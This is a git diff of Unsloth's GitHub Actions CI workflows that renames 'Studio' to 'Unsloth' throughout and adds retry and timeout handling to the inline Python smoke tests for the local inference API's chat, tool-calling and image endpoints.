         #       skipped specs are obvious in the artifact.
         # The `huggingface` extra is `huggingfacenotorch` plus torch /
-        # torchvision / triton, deliberately skipped: Studio backend
+        # torchvision / triton, deliberately skipped: Unsloth backend
         # already pins a torch and the +cu* / +cpu local-version tags
         # trip up the PyPI resolver in `-r` mode.
         run: |
@@ -251,7 +253,7 @@ jobs:
         # `-r requirements.txt` resolves the requirements through pip's
         # dependency resolver against PyPI metadata and audits the
         # resolved tree without ever executing setup.py / install
-        # hooks. Way faster than installing the full Studio runtime
+        # hooks. Way faster than installing the full Unsloth runtime
         # and -- critically -- safer: an attacker who has compromised
         # a transitive dep cannot run code in this job.
         #
@@ -324,9 +326,9 @@ jobs:
           } >> "$GITHUB_STEP_SUMMARY"
 
       # ─────────────────────────────────────────────────────────────
-      # npm: Studio frontend
+      # npm: Unsloth frontend
       # ─────────────────────────────────────────────────────────────
-      - name: npm audit (Studio frontend)
+      - name: npm audit (Unsloth frontend)
         # `npm audit` resolves the lockfile through the npmjs.com
         # advisory DB. `--audit-level=high` filters the noise floor
         # to only HIGH and CRITICAL. We do NOT pass --omit=dev: a
@@ -340,7 +342,7 @@ jobs:
           # Always also write the full JSON for grep-ability.
           npm audit --json > ../../logs-npm-audit.json || true
           {
-            echo "## npm audit (Studio frontend)"
+            echo "## npm audit (Unsloth frontend)"
             echo
             echo '```'
             tail -200 ../../logs-npm-audit.txt
@@ -348,9 +350,9 @@ jobs:
           } >> "$GITHUB_STEP_SUMMARY"
 
       # ─────────────────────────────────────────────────────────────
-      # cargo: Studio Tauri shell
+      # cargo: Unsloth Tauri shell
       # ─────────────────────────────────────────────────────────────
-      - name: cargo audit (Studio Tauri)
+      - name: cargo audit (Unsloth Tauri)
         # `--deny warnings` would make the job fail on any advisory.
         # Keep non-blocking initially; drop continue-on-error after
         # the baseline closes.
@@ -360,7 +362,7 @@ jobs:
           set +e
           cargo audit | tee ../../logs-cargo-audit.txt
           {
-            echo "## cargo audit (Studio Tauri)"
+            echo "## cargo audit (Unsloth Tauri)"
             echo
             echo '```'
             tail -200 ../../logs-cargo-audit.txt
@@ -557,7 +559,7 @@ jobs:
 
       # ─────────────────────────────────────────────────────────────
       # CycloneDX SBOM. Lets downstream consumers audit what's
-      # actually shipped in unsloth wheels and the Studio backend
+      # actually shipped in unsloth wheels and the Unsloth backend
       # runtime. Generates one JSON file per requirements input plus
       # a combined SBOM keyed off pyproject.toml; uploads as a build
       # artifact (and a future step can attest it via SLSA).
@@ -738,7 +740,7 @@ jobs:
     # `--with-deps` makes the scan transitive: every package the
     # declared set resolves to gets fetched and pattern-scanned, not
     # just the top-level pins. Resolving the full transitive closure
-    # of the unsloth + Studio dep tree downloads several hundred
+    # of the unsloth + Unsloth dep tree downloads several hundred
     # archives, hence the longer timeout.
     #
     # Sharded across runners for wall-clock parallelism. Each shard
@@ -747,7 +749,7 @@ jobs:
     # composition tries to balance load:
     #   - hf-stack: pyproject extras + no-torch-runtime
     #               (~150 archives, transformers/peft/accelerate/...)
-    #   - studio:   FastAPI/Studio backend + overrides + extras-no-deps
+    #   - studio:   FastAPI/Unsloth backend + overrides + extras-no-deps
     #               (~150 archives, smaller scientific stack)
     #   - extras:   the heavy openai-whisper / scikit-learn / librosa
     #               stack (~250 archives, dominant cost)
@@ -962,7 +964,7 @@ jobs:
     # documented at scripts/scan_npm_packages.py top-of-file. The
     # script is stdlib-only so adding it does not increase the
     # transitive supply-chain surface.
-    name: npm scan-packages (Studio frontend tarballs)
+    name: npm scan-packages (Unsloth frontend tarballs)
     runs-on: ubuntu-latest
     timeout-minutes: 30
     needs: []
@@ -1171,7 +1173,7 @@ jobs:
         with:
           python-version: '3.12'
 
-      - name: Install Studio frontend deps (--ignore-scripts)
+      - name: Install Unsloth frontend deps (--ignore-scripts)
         # `npm audit signatures` requires node_modules to be populated.
         # `--ignore-scripts` is mandatory: this is exactly the lever the
         # new-install-script gate below protects against, and we must
diff --git a/.github/workflows/studio-api-smoke.yml b/.github/workflows/studio-api-smoke.yml
index 15efee382e..cdf1f6bf12 100644
--- a/.github/workflows/studio-api-smoke.yml
+++ b/.github/workflows/studio-api-smoke.yml
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# Studio API & Auth Tests -- HTTP-level integration tests for the
+# Unsloth API & Auth Tests -- HTTP-level integration tests for the
 # FastAPI surface. No Playwright, no model UI; tests/studio/test_studio_api_smoke.py
 # runs ~30 s and asserts:
 #   - CORS hardening (no wildcard + credentials, no bootstrap leak)
@@ -15,7 +15,7 @@
 # Reuses the GGUF cache key from studio-ui-smoke.yml so the model
 # download is one cache-hit on the second job.
 
-name: Studio API CI
+name: Unsloth API CI
 
 on:
   pull_request:
@@ -40,7 +40,7 @@ permissions:
 
 jobs:
   api-smoke:
-    name: Studio API & Auth Tests
+    name: Unsloth API & Auth Tests
     runs-on: ubuntu-latest
     timeout-minutes: 12
     env:
@@ -98,7 +98,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -111,7 +111,7 @@ jobs:
       - name: Install pyjwt for the JWT-expiry forge test
         run: pip install 'pyjwt>=2.6'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -144,7 +144,7 @@ jobs:
           echo "STUDIO_NEW_PW=$NEW"  >> "$GITHUB_ENV"
           echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
 
-      - name: Run Studio API & Auth tests
+      - name: Run Unsloth API & Auth tests
         # The script is named WITHOUT a `test_` prefix so it isn't
         # auto-collected by pytest in Backend CI's `tests/` walk
         # (which doesn't set BASE_URL and would crash at import).
@@ -153,7 +153,7 @@ jobs:
           STUDIO_AUTH_DIR: /home/runner/.unsloth/studio/auth
         run: python tests/studio/studio_api_smoke.py
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index 3022127a2b..b8f587b63e 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -64,7 +64,7 @@ jobs:
       - name: Install backend test dependencies (CPU only)
         run: |
           python -m pip install --upgrade pip
-          # Studio's declared backend deps:
+          # Unsloth's declared backend deps:
           pip install -r studio/backend/requirements/studio.txt
           # Extras that studio.txt does not list but the import chain needs
           # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml
index 1ee6489209..83df3ed476 100644
--- a/.github/workflows/studio-export-capability-ci.yml
+++ b/.github/workflows/studio-export-capability-ci.yml
@@ -9,7 +9,7 @@
 # export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
 # torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
 
-name: Studio export capability
+name: Unsloth export capability
 
 on:
   pull_request:
diff --git a/.github/workflows/studio-frontend-ci.yml b/.github/workflows/studio-frontend-ci.yml
index b42086f191..3a9e373915 100644
--- a/.github/workflows/studio-frontend-ci.yml
+++ b/.github/workflows/studio-frontend-ci.yml
@@ -136,7 +136,7 @@ jobs:
       - name: Build
         run: npm run build
 
-      - name: Built bundle must not contain Studio's unstable_Provider call site
+      - name: Built bundle must not contain Unsloth's unstable_Provider call site
         run: |
           set -e
           JS=$(ls dist/assets/index-*.js | head -1)
@@ -144,7 +144,7 @@ jobs:
           echo "main bundle: $JS"
           echo "unstable_Provider: hits=$HITS (assistant-ui internals contribute up to 3)"
           if [ "$HITS" -gt 3 ]; then
-            echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Studio bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead."
+            echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Unsloth bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead."
             exit 1
           fi
 
diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml
index aebf90380a..c2d52eac22 100644
--- a/.github/workflows/studio-inference-smoke.yml
+++ b/.github/workflows/studio-inference-smoke.yml
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# Three end-to-end smoke jobs that boot a freshly-installed Studio and
+# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and
 # exercise the surfaces real users hit through the OpenAI / Anthropic
 # SDKs and curl. Each job picks the smallest model that exercises the
 # behaviour under test, primes HF_HOME via actions/cache, and shares
@@ -27,7 +27,7 @@
 # All three jobs run in parallel. Total wall time is dominated by job 3
 # on a cold cache; warm cache cuts that to ~3 min.
 
-name: Studio GGUF CI
+name: Unsloth GGUF CI
 
 on:
   pull_request:
@@ -112,7 +112,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -125,7 +125,7 @@ jobs:
       - name: Install OpenAI + Anthropic Python SDKs
         run: pip install 'openai>=1.50' 'anthropic>=0.40'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -142,7 +142,7 @@ jobs:
             fi
             sleep 1
           done
-          echo "Studio did not become healthy in 180s"
+          echo "Unsloth did not become healthy in 180s"
           tail -200 logs/studio.log
           exit 1
 
@@ -229,11 +229,11 @@ jobs:
               return replies
 
           def run_anthropic():
-              # Two SDK quirks vs. Studio:
+              # Two SDK quirks vs. Unsloth:
               #   1. base_url must NOT include /v1 -- the SDK appends
               #      /v1/messages itself; otherwise the request hits
               #      /v1/v1/messages and 405s.
-              #   2. The SDK sends `x-api-key` by default, but Studio's
+              #   2. The SDK sends `x-api-key` by default, but Unsloth's
               #      auth layer is HTTPBearer-only. Override via
               #      default_headers so Authorization: Bearer ... is
               #      sent instead.
@@ -276,7 +276,7 @@ jobs:
                   print(
                       f"[{label}] WARN non-determinism at temperature=0.0 across "
                       f"{len(determinism_failures)} of {len(first)} turn(s); "
-                      f"small-quant model drift, not a Studio regression. "
+                      f"small-quant model drift, not an Unsloth regression. "
                       f"Details: " + " | ".join(determinism_failures)
                   )
               # Sanity: turn-2 reply should mention the earlier question, and
@@ -290,7 +290,7 @@ jobs:
               print(f"[{label}] {status_word} -- 4 turns, history grounded ('paris' present)")
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
@@ -323,7 +323,7 @@ jobs:
       # store xet chunks + blobs + snapshots = ~4 GiB compressed --
       # 4-5x file-size inflation, dominated by xet chunks. Use main's
       # `--local-dir gguf-cache` pattern to cache the flat .gguf only.
-      # Studio's /api/inference/load accepts either a HF repo (which
+      # Unsloth's /api/inference/load accepts either a HF repo (which
       # uses HF_HOME) or an absolute file path; passing the absolute
       # path keeps the test off HF_HOME entirely so the cache size
       # tracks the GGUF file 1:1. The OpenAI/Anth and JSON+images
@@ -380,7 +380,7 @@ jobs:
           path: gguf-cache
           key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -390,7 +390,7 @@ jobs:
           set -o pipefail
           bash install.sh --local --no-torch 2>&1 | tee logs/install.log
 
-      - name: Reset auth + boot Studio (API-only, default tool policy)
+      - name: Reset auth + boot Unsloth (API-only, default tool policy)
         # We deliberately use the API-only mode rather than
         # `unsloth studio run` because the latter calls
         # `set_tool_policy(...)` with a resolved bool: on loopback the
@@ -444,6 +444,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -464,10 +466,26 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
-          def post_sse(path, body, *, timeout = 600):
+          def post_sse(path, body, *, timeout = 600, retries = 1, complete_on = None):
               """POST a streaming request and accumulate the assistant
               text deltas. The server-side agentic loop ALWAYS returns
               SSE regardless of the request's `stream` field, so any
@@ -483,6 +501,22 @@ jobs:
                                  invocation markers / tool output, since
                                  `delta.content` alone is not evidence
                                  that the tool path executed.
+
+              A shared CI runner can stall the stream transport (the
+              connection opening, or a mid-stream read) even when Unsloth
+              is healthy, so retry a stall once with a fresh request
+              capped at 300s. A stall means the stream did NOT complete,
+              so partial events are normally NOT returned (an early
+              tool_start with no tool_end is not proof the tool loop
+              finished). The one exception is `complete_on`: an optional
+              predicate over the events collected so far -- when a stall
+              happens after it is already satisfied (the tool ran and
+              produced its result before the trailing read timed out),
+              those events are returned rather than discarded, so the
+              stall-after-answer case still counts. HTTP status errors
+              surface immediately; a stall that yields no completed result
+              across all attempts re-raises so the caller can rotate to
+              the next seed.
               """
               body = {**body, "stream": True}
               data = json.dumps(body).encode()
@@ -495,26 +529,45 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              parts = []
-              events = []
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  for raw in resp:
-                      line = raw.decode().strip()
-                      if not line.startswith("data: "):
-                          continue
-                      payload = line[6:]
-                      if payload == "[DONE]":
-                          break
-                      events.append(payload)
-                      try:
-                          chunk = json.loads(payload)
-                      except json.JSONDecodeError:
-                          continue
-                      for choice in chunk.get("choices", []):
-                          delta = choice.get("delta", {}) or {}
-                          if delta.get("content"):
-                              parts.append(delta["content"])
-              return "".join(parts), events
+              for attempt in range(retries + 1):
+                  parts = []
+                  events = []
+                  t = timeout if attempt == 0 else min(timeout, 300)
+                  try:
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          for raw in resp:
+                              line = raw.decode().strip()
+                              if not line.startswith("data: "):
+                                  continue
+                              payload = line[6:]
+                              if payload == "[DONE]":
+                                  break
+                              events.append(payload)
+                              try:
+                                  chunk = json.loads(payload)
+                              except json.JSONDecodeError:
+                                  continue
+                              for choice in chunk.get("choices", []):
+                                  delta = choice.get("delta", {}) or {}
+                                  if delta.get("content"):
+                                      parts.append(delta["content"])
+                      return "".join(parts), events
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # A stall after the tool already produced its result is
+                      # the case this probe exists to tolerate: keep those
+                      # events. But a stall with only an early tool_start (no
+                      # completed output) is not proof the tool loop finished,
+                      # so it must not pass -- retry once, then raise so
+                      # _run_tool_probe rotates to the next seed.
+                      if complete_on is not None and complete_on(events):
+                          print(f"[retry-sse] {path}: {exc!r}; keeping {len(events)} completed events", flush = True)
+                          return "".join(parts), events
+                      if attempt == retries:
+                          raise
+                      print(f"[retry-sse] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           _STUDIO_TOOL_TYPES = {
               "tool_start", "tool_end", "tool_use", "tool_result",
@@ -522,11 +575,11 @@ jobs:
 
           def _tool_invoked(events):
               """Structural check: True iff some SSE payload is a real
-              tool envelope (Studio tool_start/tool_end, Anthropic
+              tool envelope (Unsloth tool_start/tool_end, Anthropic
               tool_use/tool_result, OpenAI non-empty delta.tool_calls /
               message.tool_calls / finish_reason='tool_calls' /
               role:'tool' / function_call). tool_status is NOT
-              evidence: Studio emits empty tool_status events on
+              evidence: Unsloth emits empty tool_status events on
               iteration boundaries even when no tool ran.
               """
               for raw in events:
@@ -645,23 +698,61 @@ jobs:
               attempt has structural invocation evidence. WARN (not
               FAIL) if invoked but no attempt produces the expected
               literal in tool_end.result -- small-quant Qwen3.5-2B can
-              emit OpenAI tool_calls deltas without Studio's GGUF
+              emit OpenAI tool_calls deltas without Unsloth's GGUF
               agentic loop intercepting them, and that GGUF-vs-OpenAI
               format mismatch is out of scope for #5642.
               """
               attempts_log = []
               best = None
+              # Cap the wall-clock spent rotating through stalled seeds so a
+              # persistent no-data wedge fails fast (clean assertion) instead
+              # of being killed by the job's timeout-minutes. A healthy or
+              # merely degenerate round answers in seconds, so all seeds still
+              # run in the normal case; only stalls consume the budget.
+              probe_deadline = time.monotonic() + 300
               for attempt_i in range(max_attempts):
+                  # Cap each read by the budget still remaining (not just a flat
+                  # 180s) and skip an attempt too small to finish, so the whole
+                  # rotation stays within ~300s -- two probes then fit the job's
+                  # timeout-minutes even if every seed stalls.
+                  remaining = int(probe_deadline - time.monotonic())
+                  if attempt_i and remaining < 30:
+                      print(f"[tools] {label}: seed-rotation budget spent after {attempt_i} attempts", flush = True)
+                      break
                   attempt_seed = SEED + attempt_i
-                  content, events = post_sse("/v1/chat/completions", {
-                      "messages":      [{"role": "user", "content": prompt}],
-                      "enable_tools":  True,
-                      "enabled_tools": enabled,
-                      "session_id":    f"{session}-att{attempt_i}",
-                      "temperature":   TOOL_PROBE_TEMP,
-                      "seed":          attempt_seed,
-                      "max_tokens":    600,
-                  })
+                  try:
+                      # Bounded per-attempt timeout, no inner retry -- the seed
+                      # loop IS the retry, so a stall raises quickly and rotates
+                      # rather than spending post_sse's full 600+300s. complete_on
+                      # keeps a stall that already produced the tool result (only
+                      # the trailing read timed out) instead of discarding it.
+                      content, events = post_sse("/v1/chat/completions", {
+                          "messages":      [{"role": "user", "content": prompt}],
+                          "enable_tools":  True,
+                          "permission_mode": "full",
+                          "enabled_tools": enabled,
+                          "session_id":    f"{session}-att{attempt_i}",
+                          "temperature":   TOOL_PROBE_TEMP,
+                          "seed":          attempt_seed,
+                          "max_tokens":    600,
+                      }, timeout = min(180, remaining), retries = 0,
+                         complete_on = lambda ev: _tool_invoked(ev) and _tool_output_contains(ev, *needles))
+                  except urllib.error.HTTPError:
+                      # HTTPError subclasses URLError, so re-raise a real 4xx/5xx
+                      # here instead of letting the transport-stall handler below
+                      # swallow it and rotate seeds -- an endpoint status failure
+                      # must surface, not be masked as missing tool evidence.
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # A transport stall that outlived post_sse's own retry:
+                      # log it as a failed attempt and rotate to the next seed
+                      # rather than sinking the whole probe on one bad stream.
+                      attempts_log.append({
+                          "attempt": attempt_i, "seed": attempt_seed,
+                          "transport_error": repr(exc),
+                      })
+                      print(f"[tools] retry {label} attempt {attempt_i}: transport {exc!r}", flush = True)
+                      continue
                   invoked  = _tool_invoked(events)
                   produced = _tool_output_contains(events, *needles)
                   attempts_log.append({
@@ -720,17 +811,21 @@ jobs:
           # because (a) the search may legitimately return no results,
           # and (b) DuckDuckGo upstream blocks GHA IP ranges often
           # enough that requiring a tool_call marker would create
-          # red-herring failures from infra rather than from Studio.
+          # red-herring failures from infra rather than from Unsloth.
           try:
+              # Best-effort and bounded: a single 180s attempt keeps a stall
+              # from eating the job's timeout-minutes (it already WARNs, so a
+              # retry buys nothing).
               content, events = post_sse("/v1/chat/completions", {
                   "messages":      [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
                   "enable_tools":  True,
+                  "permission_mode": "full",
                   "enabled_tools": ["web_search"],
                   "session_id":    "ci-tool-calling-web",
                   "temperature":   0.0,
                   "seed":          SEED,
                   "max_tokens":    400,
-              })
+              }, timeout = 180, retries = 0)
               print(
                   f"[tools] PASS web_search stream ({len(content)} chars in content, "
                   f"{len(events)} raw events)"
@@ -739,7 +834,7 @@ jobs:
               print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
 
           # ── 5. Thinking on / off ─────────────────────────────────────
-          # Studio strips think blocks from message.content for tools-mode
+          # Unsloth strips think blocks from message.content for tools-mode
           # responses, so we toggle plain chat (no enable_tools) and look
           # at the surfaced reasoning_content / message.thinking field.
           def thinking_call(enable):
@@ -753,7 +848,7 @@ jobs:
               })
               assert status == 200
               msg = data["choices"][0]["message"]
-              # Studio surfaces thinking via reasoning_content (OpenAI
+              # Unsloth surfaces thinking via reasoning_content (OpenAI
               # extension). Fall back to inline <think> markers for
               # robustness across template versions.
               raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "")
@@ -773,7 +868,7 @@ jobs:
           print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)")
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
@@ -865,7 +960,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-${{ env.MMPROJ_FILE }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -878,7 +973,7 @@ jobs:
       - name: Install OpenAI + Anthropic Python SDKs
         run: pip install 'openai>=1.50' 'anthropic>=0.40'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         # See Job 2's comment: API-only mode keeps tool_policy=None so
         # response_format requests aren't routed through the agentic
         # tool loop.
@@ -938,6 +1033,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -956,20 +1053,36 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           # llama.cpp's HTTP server supports OpenAI-compatible JSON
           # mode: `response_format: {"type": "json_object"}` constrains
           # the model to emit syntactically-valid JSON. We use raw HTTP
-          # rather than the OpenAI SDK so that the field shape Studio
+          # rather than the OpenAI SDK so that the field shape Unsloth
           # forwards to llama-server is unambiguous (the SDK rewrites
           # response_format depending on which variant it recognises).
           # We deliberately do NOT pass a strict JSON schema -- on
           # small Gemma-4 quants the GBNF-from-schema path occasionally
           # produces empty output, and JSON mode is the surface we care
-          # about exposing through Studio.
+          # about exposing through Unsloth.
           status, data = post("/v1/chat/completions", {
               "model":         "default",
               "messages":      [
@@ -999,7 +1112,7 @@ jobs:
           print(f"[json] PASS json_object -> {parsed}")
 
           # ── 2. OpenAI image_url (data URI base64) ───────────────────
-          # 64x64 solid-red PNG. stb_image (used by Studio's image
+          # 64x64 solid-red PNG. stb_image (used by Unsloth's image
           # normaliser at routes/inference.py:3410) rejects 4x4 or
           # smaller PNGs as truncated, so we go up to 64x64 -- still
           # tiny in token cost. The assertion is loose: any non-empty
@@ -1035,9 +1148,9 @@ jobs:
           print("[image/openai] PASS image_url accepted, non-empty response")
 
           # ── 3. Anthropic source/base64 image ────────────────────────
-          # Two SDK quirks vs. Studio: base_url must NOT include /v1
+          # Two SDK quirks vs. Unsloth: base_url must NOT include /v1
           # (the SDK appends it itself; otherwise /v1/v1/messages -> 405),
-          # and Studio's auth is HTTPBearer-only so the SDK's default
+          # and Unsloth's auth is HTTPBearer-only so the SDK's default
           # x-api-key header is ignored -- send Authorization: Bearer
           # via default_headers.
           anthropic = Anthropic(
@@ -1071,7 +1184,7 @@ jobs:
           print("[image/anthropic] PASS source/base64 accepted, non-empty response")
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
diff --git a/.github/workflows/studio-load-orchestrator-ci.yml b/.github/workflows/studio-load-orchestrator-ci.yml
index 93d1a7742d..8710efc2bd 100644
--- a/.github/workflows/studio-load-orchestrator-ci.yml
+++ b/.github/workflows/studio-load-orchestrator-ci.yml
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 #
-# Event-loop regression test for the Studio model-load orchestrator.
+# Event-loop regression test for the Unsloth model-load orchestrator.
 # Pins down issue #5642 (Win10 UI freeze on model load): the /load
 # route calls LlamaCppBackend.detect_audio_type synchronously, blocking
 # the FastAPI event loop on a chain of sync httpx.Client.post() probes.
@@ -14,7 +14,7 @@
 # danielhanchen/unsloth-staging-2 (Ubuntu / macOS / Windows all
 # green at PR time).
 
-name: Studio load-orchestrator CI
+name: Unsloth load-orchestrator CI
 
 on:
   pull_request:
diff --git a/.github/workflows/studio-mac-api-smoke.yml b/.github/workflows/studio-mac-api-smoke.yml
index 617ce189dc..1968885a1d 100644
--- a/.github/workflows/studio-mac-api-smoke.yml
+++ b/.github/workflows/studio-mac-api-smoke.yml
@@ -33,7 +33,7 @@ permissions:
 
 jobs:
   api-smoke:
-    name: Studio API & Auth Tests
+    name: Unsloth API & Auth Tests
     runs-on: macos-14
     timeout-minutes: 25
     env:
@@ -83,7 +83,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -99,7 +99,7 @@ jobs:
       - name: Install pyjwt for the JWT-expiry forge test
         run: pip install 'pyjwt>=2.6'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -129,13 +129,13 @@ jobs:
           echo "STUDIO_NEW_PW=$NEW"  >> "$GITHUB_ENV"
           echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
 
-      - name: Run Studio API & Auth tests
+      - name: Run Unsloth API & Auth tests
         env:
           BASE_URL: http://127.0.0.1:18895
           STUDIO_AUTH_DIR: /Users/runner/.unsloth/studio/auth
         run: python tests/studio/studio_api_smoke.py
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml
index d562294d42..ce15eed5c8 100644
--- a/.github/workflows/studio-mac-inference-smoke.yml
+++ b/.github/workflows/studio-mac-inference-smoke.yml
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# Three end-to-end smoke jobs that boot a freshly-installed Studio and
+# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and
 # exercise the surfaces real users hit through the OpenAI / Anthropic
 # SDKs and curl. Each job picks the smallest model that exercises the
 # behaviour under test, primes a model cache via actions/cache, and
@@ -108,7 +108,7 @@ jobs:
           path: hf-cache
           key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -124,7 +124,7 @@ jobs:
       - name: Install OpenAI + Anthropic Python SDKs
         run: pip install 'openai>=1.50' 'anthropic>=0.40'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
